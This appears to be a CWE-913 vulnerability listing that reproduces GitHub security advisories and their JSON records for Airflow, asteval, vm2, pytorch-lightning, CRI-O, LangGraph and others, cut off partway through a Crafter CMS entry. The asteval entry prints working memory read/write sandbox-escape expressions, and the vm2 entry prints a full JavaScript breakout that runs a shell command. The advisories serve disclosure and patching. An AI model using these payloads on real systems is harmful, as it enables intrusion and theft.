CWE-913
Allowed-with-ReviewImproper Control of Dynamically-Managed Code Resources
Abstraction: Class · Status: Incomplete
The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
168 vulnerabilities reference this CWE, most recent first.
GHSA-9R5J-7R2X-RV4G
Vulnerability from github – Published: 2026-03-09 12:31 – Updated: 2026-03-10 01:21A user with access to the DB could craft a database entry that would result in executing code on Triggerer - which gives anyone who have access to DB the same permissions as Dag Author. Since direct DB access is not usual and recommended for Airflow, the likelihood of it making any damage is low.
Users should upgrade to version 6.0.0 of the provider to avoid even that risk.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "apache-airflow-providers-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69219"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T01:21:24Z",
"nvd_published_at": "2026-03-09T11:16:05Z",
"severity": "HIGH"
},
"details": "A user with access to the DB could craft a database entry that would result in executing code on Triggerer - which gives anyone who have access to DB the same permissions as Dag Author. Since direct DB access is not usual and recommended for Airflow, the likelihood of it making any damage is low.\n\nUsers should upgrade to version 6.0.0 of the provider to avoid even that risk.",
"id": "GHSA-9r5j-7r2x-rv4g",
"modified": "2026-03-10T01:21:24Z",
"published": "2026-03-09T12:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69219"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/pull/61662"
},
{
"type": "WEB",
"url": "https://github.com/apache/airflow/commit/97839f7b0a8ae66d6079bb7fad5a363068f61617"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/airflow"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/zjkfb2njklro68tqzym092r4w65m5dq0"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/03/09/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache Airflow Providers Http has Unsafe Pickle Deserializatio leading to RCE via HttpOperator"
}
GHSA-9W56-46F6-3QHX
Vulnerability from github – Published: 2026-08-20 17:26 – Updated: 2026-08-20 17:26Summary
With its default configuration (numpy enabled, import disabled), asteval's Interpreter lets an attacker-controlled expression obtain a raw arbitrary process-memory read and write primitive, without using import, any __dunder__ attribute, or eval/exec/getattr. Arbitrary in-process read/write is equivalent to arbitrary code execution and is a complete escape of the sandbox whose entire purpose is "untrusted string in, no arbitrary execution out." Any application that feeds untrusted input to asteval with numpy installed (the default) is affected.
Details
asteval's attribute filter (asteval/astutils.py: safe_getattr) blocks every __dunder__ name and blocks objects whose attribute value is identity-equal to one of the modules in UNSAFE_MODULES = {io, os, sys, ctypes}. The ctypes module entry was added recently (commit 9d9d430) and correctly blocks ndarray.ctypes._ctypes.
However, the module check is identity-only against the ctypes module. It does not cover ctypes type objects and their metaclass methods, which are reachable through numpy's ndarray.ctypes wrapper using only ordinary (non-dunder) attribute names:
zeros(1, dtype=int32).ctypes.shape._type_ -> <class 'ctypes.c_long'>
ndarray.ctypes exposes .shape (a ctypes array) whose element type ._type_ is ctypes.c_long. None of ctypes, .shape, ._type_ is a dunder, none is in UNSAFE_ATTRS, and the returned value is a type, not the ctypes module, so safe_getattr permits all of them.
On that ctypes type, the metaclass method from_address is reachable (non-dunder, not in UNSAFE_ATTRS; it is not even listed by dir(), which is likely why it was missed):
- Arbitrary read:
c_long.from_address(addr).valuereads 8 bytes at any address.id()(a permitted builtin) supplies arbitrary object addresses. - Arbitrary write:
cell = c_long.from_address(addr); cell.value = Xwrites 8 bytes to any address. The write half rides asteval's unfilteredsetattrinInterpreter.node_assign(theast.Attributebranch performssetattr(self.run(node.value), node.attr, val)with no attribute-name check).
Root cause is two gaps:
safe_getattrblocks the ctypes module but not ctypes types / metaclass methods (from_address,from_buffer,from_buffer_copy,in_dll,from_param) reachable viandarray.ctypes ... ._type_.node_assignperforms attribute writes (setattr) and deletes (delattr) with no attribute-name filtering.
This belongs to the known "numpy is a large attack surface" class (the docs already note open() read and ndarray.tofile() write), but this specific arbitrary memory read/write chain is undocumented and bypasses the most recent ctypes-module hardening. All previously reported escapes (CVE-2025-24359 / GHSA-3wwr-3g9f-9gc7, GHSA-vp47-9734-prjw, reduce/reduce_ex, classic __subclasses__ traversal) are patched on the current code; this one is live.
PoC
Self contained POC here: https://gist.github.com/thegr1ffyn/16b67c5f9b5339a7e2bdc91423ff09e3
Environment: pip install asteval numpy (verified on asteval 1.0.8, numpy 2.4.6, CPython 3.12.3; the chain is numpy-1.x/2.x robust). Default Interpreter (use_numpy=True, import disabled).
Minimal one-expression arbitrary read (reads 8 bytes at an attacker-chosen address):
zeros(1,dtype=int32).ctypes.shape._type_.from_address(id(zeros(1))).value
Minimal arbitrary write (writes 0x4142434445464748 to a chosen address; here our own array buffer, observed back through numpy):
a = zeros(2, dtype=int32)
cell = a.ctypes.shape._type_.from_address(a.ctypes.data)
cell.value = 0x4142434445464748 # -> a[0]=0x45464748, a[1]=0x41424344
A full self-contained script is attached (poc_asteval_ctypes.py); running it prints the recovered PyObject header of a private object (arbitrary read) and confirms a raw write landing at a chosen pointer (arbitrary write), all from a default, import-disabled interpreter.
Impact
Sandbox escape / protection-mechanism failure leading to arbitrary in-process native memory read and write (RCE-equivalent). Impact:
- Disclosure of any data in the host process's address space (secrets, keys, other users' data).
- Corruption of arbitrary memory -> control-flow hijack / arbitrary code execution and/or process crash (DoS).
Affected: any application that evaluates untrusted/attacker-influenced expressions with asteval while numpy is installed (the default). No authentication and no special configuration is required; import does not need to be enabled. Mitigation until patched: construct the interpreter with use_numpy=False.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asteval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-749",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T17:26:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nWith its default configuration (numpy enabled, `import` disabled), asteval\u0027s `Interpreter` lets an attacker-controlled expression obtain a raw **arbitrary process-memory read and write** primitive, without using `import`, any `__dunder__` attribute, or `eval`/`exec`/`getattr`. Arbitrary in-process read/write is equivalent to arbitrary code execution and is a complete escape of the sandbox whose entire purpose is \"untrusted string in, no arbitrary execution out.\" Any application that feeds untrusted input to asteval with numpy installed (the default) is affected.\n\n### Details\nasteval\u0027s attribute filter (`asteval/astutils.py: safe_getattr`) blocks every `__dunder__` name and blocks objects whose attribute value is *identity-equal* to one of the modules in `UNSAFE_MODULES = {io, os, sys, ctypes}`. The `ctypes` **module** entry was added recently (commit 9d9d430) and correctly blocks `ndarray.ctypes._ctypes`.\n\nHowever, the module check is identity-only against the ctypes *module*. It does not cover ctypes **type objects** and their metaclass methods, which are reachable through numpy\u0027s `ndarray.ctypes` wrapper using only ordinary (non-dunder) attribute names:\n\n zeros(1, dtype=int32).ctypes.shape._type_ -\u003e \u003cclass \u0027ctypes.c_long\u0027\u003e\n\n`ndarray.ctypes` exposes `.shape` (a ctypes array) whose element type `._type_` is `ctypes.c_long`. None of `ctypes`, `.shape`, `._type_` is a dunder, none is in `UNSAFE_ATTRS`, and the returned value is a *type*, not the ctypes module, so `safe_getattr` permits all of them.\n\nOn that ctypes type, the metaclass method `from_address` is reachable (non-dunder, not in `UNSAFE_ATTRS`; it is not even listed by `dir()`, which is likely why it was missed):\n\n* **Arbitrary read:** `c_long.from_address(addr).value` reads 8 bytes at any address. `id()` (a permitted builtin) supplies arbitrary object addresses.\n* **Arbitrary write:** `cell = c_long.from_address(addr); cell.value = X` writes 8 bytes to any address. The write half rides asteval\u0027s **unfiltered `setattr`** in `Interpreter.node_assign` (the `ast.Attribute` branch performs `setattr(self.run(node.value), node.attr, val)` with no attribute-name check).\n\nRoot cause is two gaps:\n\n1. `safe_getattr` blocks the ctypes *module* but not ctypes *types* / metaclass methods (`from_address`, `from_buffer`, `from_buffer_copy`, `in_dll`, `from_param`) reachable via `ndarray.ctypes ... ._type_`.\n2. `node_assign` performs attribute writes (`setattr`) and deletes (`delattr`) with no attribute-name filtering.\n\nThis belongs to the known \"numpy is a large attack surface\" class (the docs already note `open()` read and `ndarray.tofile()` write), but this specific arbitrary memory read/write chain is undocumented and bypasses the most recent ctypes-module hardening. All previously reported escapes (CVE-2025-24359 / GHSA-3wwr-3g9f-9gc7, GHSA-vp47-9734-prjw, reduce/reduce_ex, classic `__subclasses__` traversal) are patched on the current code; this one is live.\n\n### PoC\nSelf contained POC here: https://gist.github.com/thegr1ffyn/16b67c5f9b5339a7e2bdc91423ff09e3\nEnvironment: `pip install asteval numpy` (verified on asteval 1.0.8, numpy 2.4.6, CPython 3.12.3; the chain is numpy-1.x/2.x robust). Default `Interpreter` (`use_numpy=True`, `import` disabled).\n\nMinimal one-expression arbitrary read (reads 8 bytes at an attacker-chosen address):\n\n zeros(1,dtype=int32).ctypes.shape._type_.from_address(id(zeros(1))).value\n\nMinimal arbitrary write (writes 0x4142434445464748 to a chosen address; here our own array buffer, observed back through numpy):\n\n a = zeros(2, dtype=int32)\n cell = a.ctypes.shape._type_.from_address(a.ctypes.data)\n cell.value = 0x4142434445464748 # -\u003e a[0]=0x45464748, a[1]=0x41424344\n\nA full self-contained script is attached (poc_asteval_ctypes.py); running it prints the recovered PyObject header of a private object (arbitrary read) and confirms a raw write landing at a chosen pointer (arbitrary write), all from a default, import-disabled interpreter.\n\n### Impact\nSandbox escape / protection-mechanism failure leading to arbitrary in-process native memory read and write (RCE-equivalent). Impact:\n\n* Disclosure of any data in the host process\u0027s address space (secrets, keys, other users\u0027 data).\n* Corruption of arbitrary memory -\u003e control-flow hijack / arbitrary code execution and/or process crash (DoS).\n\nAffected: any application that evaluates untrusted/attacker-influenced expressions with asteval while numpy is installed (the default). No authentication and no special configuration is required; `import` does not need to be enabled. Mitigation until patched: construct the interpreter with `use_numpy=False`.",
"id": "GHSA-9w56-46f6-3qhx",
"modified": "2026-08-20T17:26:52Z",
"published": "2026-08-20T17:26:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/security/advisories/GHSA-9w56-46f6-3qhx"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/pull/153"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/lmfit/asteval"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/releases/tag/1.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "asteval Sandbox Escape: arbitrary native memory read/write via numpy ctypes in default asteval Interpreter"
}
GHSA-CFCW-XP6X-25GJ
Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.5"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47698"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:32:41Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n try {\n await WebAssembly.compileStreaming();\n } catch(e) {\n Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n }\n\n try {\n await WebAssembly.compileStreaming();\n } catch(e) {\n e.constructor.constructor(\"return process\")().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.",
"id": "GHSA-cfcw-xp6x-25gj",
"modified": "2026-08-17T17:32:42Z",
"published": "2026-08-17T17:32:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2: Sandbox Breakout Using Dangerous Host Proto Mutators"
}
GHSA-CGWC-QVRX-RF7F
Vulnerability from github – Published: 2024-06-06 18:30 – Updated: 2024-10-16 18:32A remote code execution (RCE) vulnerability exists in the lightning-ai/pytorch-lightning library version 2.2.1 due to improper handling of deserialized user input and mismanagement of dunder attributes by the deepdiff library. The library uses deepdiff.Delta objects to modify application state based on frontend actions. However, it is possible to bypass the intended restrictions on modifying dunder attributes, allowing an attacker to construct a serialized delta that passes the deserializer whitelist and contains dunder attributes. When processed, this can be exploited to access other modules, classes, and instances, leading to arbitrary attribute write and total RCE on any self-hosted pytorch-lightning application in its default configuration, as the delta endpoint is enabled by default.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "lightning"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5452"
],
"database_specific": {
"cwe_ids": [
"CWE-913",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-06T22:10:56Z",
"nvd_published_at": "2024-06-06T18:15:20Z",
"severity": "CRITICAL"
},
"details": "A remote code execution (RCE) vulnerability exists in the lightning-ai/pytorch-lightning library version 2.2.1 due to improper handling of deserialized user input and mismanagement of dunder attributes by the `deepdiff` library. The library uses `deepdiff.Delta` objects to modify application state based on frontend actions. However, it is possible to bypass the intended restrictions on modifying dunder attributes, allowing an attacker to construct a serialized delta that passes the deserializer whitelist and contains dunder attributes. When processed, this can be exploited to access other modules, classes, and instances, leading to arbitrary attribute write and total RCE on any self-hosted pytorch-lightning application in its default configuration, as the delta endpoint is enabled by default.",
"id": "GHSA-cgwc-qvrx-rf7f",
"modified": "2024-10-16T18:32:25Z",
"published": "2024-06-06T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5452"
},
{
"type": "WEB",
"url": "https://github.com/Lightning-AI/pytorch-lightning/issues/20038"
},
{
"type": "WEB",
"url": "https://github.com/lightning-ai/pytorch-lightning/commit/330af381de88cff17515418a341cbc1f9f127f9a"
},
{
"type": "WEB",
"url": "https://github.com/Lightning-AI/pytorch-lightning/releases/tag/2.3.3"
},
{
"type": "PACKAGE",
"url": "https://github.com/lightning-ai/pytorch-lightning"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/486add92-275e-4a7b-92f9-42d84bc759da"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Remote code execution in pytorch lightning"
}
GHSA-CM9X-C3RH-7RC4
Vulnerability from github – Published: 2022-12-29 01:49 – Updated: 2022-12-29 01:49Impact
It is possible to craft an environment variable with newlines to add entries to a container's /etc/passwd. It is possible to circumvent admission validation of username/UID by adding such an entry.
Note: because the pod author is in control of the container's /etc/passwd, this is not considered a new risk factor. However, this advisory is being opened for transparency and as a way of tracking fixes.
Patches
1.26.0 will have the fix. More patches will be posted as they're available.
Workarounds
Additional security controls like SELinux should prevent any damage a container is able to do with root on the host. Using SELinux is recommended because this class of attack is already possible by manually editing the container's /etc/passwd
References
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cri-o/cri-o"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-4318"
],
"database_specific": {
"cwe_ids": [
"CWE-538",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-29T01:49:47Z",
"nvd_published_at": "2023-09-25T20:15:10Z",
"severity": "MODERATE"
},
"details": "### Impact\nIt is possible to craft an environment variable with newlines to add entries to a container\u0027s /etc/passwd. It is possible to circumvent admission validation of username/UID by adding such an entry.\n\nNote: because the pod author is in control of the container\u0027s /etc/passwd, this is not considered a new risk factor. However, this advisory is being opened for transparency and as a way of tracking fixes.\n\n### Patches\n1.26.0 will have the fix. More patches will be posted as they\u0027re available.\n\n### Workarounds\nAdditional security controls like SELinux should prevent any damage a container is able to do with root on the host. Using SELinux is recommended because this class of attack is already possible by manually editing the container\u0027s /etc/passwd \n\n### References\n",
"id": "GHSA-cm9x-c3rh-7rc4",
"modified": "2022-12-29T01:49:47Z",
"published": "2022-12-29T01:49:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cri-o/cri-o/security/advisories/GHSA-cm9x-c3rh-7rc4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4318"
},
{
"type": "WEB",
"url": "https://github.com/cri-o/cri-o/pull/6450"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:1033"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2023:1503"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2022-4318"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2152703"
},
{
"type": "PACKAGE",
"url": "https://github.com/cri-o/cri-o"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "CRI-O vulnerable to /etc/passwd tampering resulting in Privilege Escalation"
}
GHSA-CQ2M-WXM4-PQR4
Vulnerability from github – Published: 2025-06-16 06:30 – Updated: 2025-06-16 06:30A vulnerability was found in comfyanonymous comfyui 0.3.40. It has been classified as problematic. Affected is the function set_attr of the file /comfy/utils.py. The manipulation leads to dynamically-determined object attributes. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-6107"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-16T05:15:27Z",
"severity": "LOW"
},
"details": "A vulnerability was found in comfyanonymous comfyui 0.3.40. It has been classified as problematic. Affected is the function set_attr of the file /comfy/utils.py. The manipulation leads to dynamically-determined object attributes. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-cq2m-wxm4-pqr4",
"modified": "2025-06-16T06:30:21Z",
"published": "2025-06-16T06:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6107"
},
{
"type": "WEB",
"url": "https://gist.github.com/superboy-zjc/f71b84ed074260a5e459581caa2f1fb2"
},
{
"type": "WEB",
"url": "https://gist.github.com/superboy-zjc/f71b84ed074260a5e459581caa2f1fb2#proof-of-concept"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.312576"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.312576"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.590921"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FJPG-FCV5-8X83
Vulnerability from github – Published: 2022-05-24 17:27 – Updated: 2024-01-01 00:30An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory, aka 'Windows Graphics Component Information Disclosure Vulnerability'. This CVE ID is unique from CVE-2020-1091.
{
"affected": [],
"aliases": [
"CVE-2020-1097"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-11T17:15:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory, aka \u0027Windows Graphics Component Information Disclosure Vulnerability\u0027. This CVE ID is unique from CVE-2020-1091.",
"id": "GHSA-fjpg-fcv5-8x83",
"modified": "2024-01-01T00:30:41Z",
"published": "2022-05-24T17:27:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1097"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1097"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FJQC-HQ36-QH5P
Vulnerability from github – Published: 2026-06-25 18:25 – Updated: 2026-06-25 18:25Summary
LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.
This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.
There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.
Affected users / systems
Users may be affected if they:
- use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default
JsonPlusSerializer, - load/resume from checkpoints, and
- operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.
The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.
Impact
- Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
- Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.
Patches / mitigation
The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.
Compatibility
A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.
Operational guidance
- Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
- Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.
LangSmith / hosted deployments note
The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.
First reported by: pucagit (CyStack).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langgraph-checkpoint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48775"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:25:42Z",
"nvd_published_at": "2026-06-16T19:16:58Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nLangGraph\u0027s `JsonPlusSerializer` can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.\n\nThis is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning \"checkpoint-store write access\" into code execution in the application runtime.\n\nThere is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.\n\n## Affected users / systems\n\nUsers may be affected if they:\n\n- use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default `JsonPlusSerializer`,\n- load/resume from checkpoints, and\n- operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.\n\nThe default checkpoint serializer in all shipped checkpointer backends (`PostgresSaver`, `SqliteSaver`, and their async counterparts) is `JsonPlusSerializer`, so applications generally do not need to opt in to be in scope.\n\n## Impact\n\n- Potential **arbitrary code execution** or other unsafe side effects during checkpoint deserialization.\n- Escalation from \"write access to the checkpoint store\" to \"code execution in the LangGraph worker process,\" which may expose runtime secrets or provide access to other systems the runtime can reach.\n\n## Patches / mitigation\n\nThe JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework\u0027s own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.\n\n## Compatibility\n\nA narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return `None` from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.\n\n## Operational guidance\n\n- Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.\n- Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.\n\n## LangSmith / hosted deployments note\n\nThe team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.\n\nFirst reported by: pucagit (CyStack).",
"id": "GHSA-fjqc-hq36-qh5p",
"modified": "2026-06-25T18:25:42Z",
"published": "2026-06-25T18:25:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langgraph/security/advisories/GHSA-fjqc-hq36-qh5p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48775"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langgraph"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "LangGraph Checkpoint: Unsafe JSON deserialization in checkpoint loading"
}
GHSA-GJ28-GW7W-3PXC
Vulnerability from github – Published: 2026-02-02 18:31 – Updated: 2026-02-02 22:36Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass. By inserting malicious Groovy elements, an attacker may bypass sandbox restrictions and obtain RCE (Remote Code Execution).
{
"affected": [
{
"package": {
